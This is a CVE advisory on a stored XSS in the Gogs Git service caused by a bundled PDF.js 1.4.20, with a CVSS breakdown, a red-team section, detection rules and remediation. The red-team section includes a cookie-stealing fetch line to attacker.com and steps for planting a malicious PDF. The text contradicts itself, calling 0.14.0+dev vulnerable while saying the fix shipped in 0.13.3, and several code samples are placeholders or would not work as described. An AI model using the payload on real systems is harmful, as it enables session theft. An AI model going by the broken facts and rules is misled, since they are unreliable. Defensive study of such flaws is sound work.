CVE-2025-47943

Executive Summary

CVE-2025-47943 is a stored cross-site scripting (XSS) vulnerability in Gogs, an open-source self-hosted Git service. The vulnerability exists in application versions 0.14.0+dev and prior, stemming from the inclusion of a vulnerable and outdated component, pdfjs-1.4.20, located under public/plugins/. This component allows an attacker to inject and execute arbitrary client-side JavaScript code within the context of a user's browser session. The vulnerability is classified as a stored XSS, meaning the malicious payload is persisted on the server and executed when other users view the affected content. The CVSS score is 6.3 (Medium), and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. The official fix was released in Gogs version 0.13.3.

Supply Chain & Package Security

This vulnerability is a direct result of a supply chain risk: the inclusion of an outdated and vulnerable third-party JavaScript library (pdfjs-1.4.20) within the Gogs application. The library is bundled directly into the source code under public/plugins/, making it a static dependency. This practice bypasses modern package management and dependency scanning, increasing the risk of unpatched vulnerabilities. Organizations using Gogs should audit their deployment for any other bundled dependencies and implement a Software Bill of Materials (SBOM) to track all components.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs a valid user account with the ability to upload or modify content that triggers the PDF.js component.
• User Interaction (UI): Required (R) - A victim user must interact with the malicious content (e.g., view a page that renders a PDF).
• Scope (S): Changed (C) - The vulnerable component (PDF.js) runs in the browser, which is a different security context than the web application.
• Confidentiality (C): Low (L) - Limited data exposure is possible.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): Low (L) - Limited impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature allows for persistent attacks against multiple users, including administrators. The low EPSS score suggests limited active exploitation, but the vulnerability is trivial to exploit once the attack vector is identified.

Deep Dive & Mechanics

The vulnerability is rooted in the use of PDF.js version 1.4.20, an older version of Mozilla's PDF viewer. This version is known to be susceptible to XSS attacks via crafted PDF files. The specific mechanism involves the PDF.js library's handling of JavaScript actions embedded within PDF documents. When a user views a PDF file through the Gogs interface, the PDF.js library renders it in the browser. An attacker can upload a malicious PDF file containing embedded JavaScript code. When the PDF is rendered, the JavaScript executes in the context of the Gogs web application's origin, bypassing the same-origin policy.

The attack flow is as follows:

1. An authenticated attacker uploads a specially crafted PDF file to a Gogs repository (e.g., via a commit or issue attachment).
2. The PDF file contains embedded JavaScript that, when processed by PDF.js 1.4.20, executes in the user's browser.
3. When another user (including an administrator) views the repository or the specific file, the PDF.js library renders the PDF, triggering the malicious JavaScript.
4. The JavaScript can then perform actions such as stealing session cookies, performing actions on behalf of the victim, or defacing the page.

The root cause is the failure to update the PDF.js library to a version that properly sanitizes or disables JavaScript execution within PDF files. Modern versions of PDF.js have addressed this by disabling JavaScript execution by default.

Vulnerable vs. Patched Code

Vulnerable Code (Gogs < 0.13.3): The vulnerable code is not a specific line in Gogs' own source, but rather the inclusion of the entire pdfjs-1.4.20 directory under public/plugins/. The application serves this library to clients, and it is used to render PDF files. The library itself contains the XSS vulnerability.

// Example of vulnerable PDF.js initialization (conceptual)
// In public/plugins/pdfjs-1.4.20/build/pdf.js
// This version does not properly sanitize JavaScript actions in PDFs.
PDFJS.disableJavaScript = false; // or not present

Patched Code (Gogs >= 0.13.3): The fix involves removing the vulnerable PDF.js library entirely. The patched version either removes the PDF rendering functionality or replaces it with a secure, updated version.

# In the Gogs repository, the fix is to delete the vulnerable directory:
rm -rf public/plugins/pdfjs-1.4.20

Alternatively, the patched code may include a newer version of PDF.js that has JavaScript execution disabled by default.

// Example of patched PDF.js initialization (conceptual)
// In a newer version of PDF.js
PDFJS.disableJavaScript = true; // JavaScript execution is disabled

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Gogs instance running version 0.14.0+dev or prior (e.g., 0.13.2).
• A valid user account with the ability to upload files (e.g., create a repository and push a file).

Steps:

1. Craft a Malicious PDF: Use a tool like pdfkit or evilpdf to create a PDF with embedded JavaScript. The JavaScript should perform a malicious action, such as stealing cookies.

   # Example using pdfkit (conceptual)
   import pdfkit
   # This is a simplified example; real exploitation requires specific PDF structure.
   malicious_js = """
   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   """
   # Create a PDF with the JavaScript embedded (requires specific PDF manipulation)
   # ...
   

2. Upload the PDF: Push the malicious PDF file to a repository in the Gogs instance.

   git clone http://target-gogs.com/user/repo.git
   cd repo
   cp malicious.pdf .
   git add malicious.pdf
   git commit -m "Add document"
   git push origin main
   

3. Trigger the XSS: Send a link to the victim pointing to the PDF file in the Gogs interface (e.g., http://target-gogs.com/user/repo/raw/branch/main/malicious.pdf). When the victim views the file, the PDF.js library renders it, executing the JavaScript.

Expected Outcome: The attacker's JavaScript executes in the victim's browser, allowing cookie theft, session hijacking, or other malicious actions.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual PDF file uploads, especially those with embedded JavaScript.
• Analyze network traffic for outbound connections from the Gogs server to unknown domains (potential data exfiltration).
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Immediate: Upgrade Gogs to version 0.13.3 or later.
• Mitigation (if upgrade is not possible): Manually remove the public/plugins/pdfjs-1.4.20 directory from the Gogs installation and restart the service. This will break PDF rendering but will eliminate the vulnerability.
• Web Application Firewall (WAF): Deploy WAF rules to block requests containing suspicious PDF content or JavaScript in PDF parameters.
• Content Security Policy (CSP): Implement a strict CSP header to limit the execution of inline scripts and restrict outbound connections.

Indicators of Compromise (IOCs)

• File Hashes (SHA256) of known malicious PDFs: (None publicly available at this time)
• Network Indicators:
  • Outbound HTTP/HTTPS requests from the Gogs server to attacker-controlled domains.
  • Unusual Referer headers pointing to PDF files on the Gogs instance.
• File System Indicators:
  • Presence of the directory public/plugins/pdfjs-1.4.20 in the Gogs installation path.
  • PDF files with embedded JavaScript actions (detectable via pdfid or peepdf).
• Log Indicators:
  • Web server logs showing requests to /plugins/pdfjs-1.4.20/ followed by PDF file access.
  • Error logs from PDF.js indicating JavaScript execution.

Detection Engineering

YARA Rule

rule Detect_Vulnerable_Gogs_PDFJS {
    meta:
        description = "Detects the presence of the vulnerable pdfjs-1.4.20 library in Gogs installations"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47943"
        hash = "sha256:example_hash"
    strings:
        $pdfjs_version = "pdfjs-1.4.20"
        $pdfjs_worker = "pdf.worker.js"
        $pdfjs_build = "pdf.js"
    condition:
        $pdfjs_version or ($pdfjs_worker and $pdfjs_build)
}

Sigma Rule

title: Gogs PDF.js XSS Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-47943 via malicious PDF uploads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47943
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '/plugins/pdfjs-1.4.20/'
            - '.pdf'
    condition: selection
falsepositives:
    - Legitimate PDF uploads
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Gogs PDF.js XSS - Potential Data Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/plugins/pdfjs-1.4.20/"; http_uri; content:".pdf"; http_uri; pcre:"/\.pdf$/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

1. Upgrade Gogs: Update to version 0.13.3 or later. This is the only complete fix.

   # For Docker installations
   docker pull gogs/gogs:0.13.3
   docker stop <container_name>
   docker run -d --name=gogs -p 3000:3000 gogs/gogs:0.13.3
   

2. Manual Removal (if upgrade is not possible): Delete the vulnerable PDF.js directory.

   # Navigate to the Gogs installation directory
   cd /path/to/gogs
   rm -rf public/plugins/pdfjs-1.4.20
   # Restart the Gogs service
   systemctl restart gogs
   

Mitigation Steps (if immediate patching is not feasible):

• Disable PDF Rendering: If the PDF.js library is removed, the application will no longer render PDFs inline. This is a functional trade-off but eliminates the vulnerability.
• Web Application Firewall (WAF): Implement rules to block requests containing pdfjs-1.4.20 in the URI.
• Content Security Policy (CSP): Add the following CSP header to prevent inline script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

• User Education: Warn users not to click on PDF files from untrusted sources within the Gogs interface.

Long-Term Prevention:

• Implement a Software Bill of Materials (SBOM) for all dependencies.
• Regularly scan for outdated libraries using tools like npm audit, OWASP Dependency-Check, or Snyk.
• Adopt a policy of using only maintained and actively updated third-party components.

Valters IT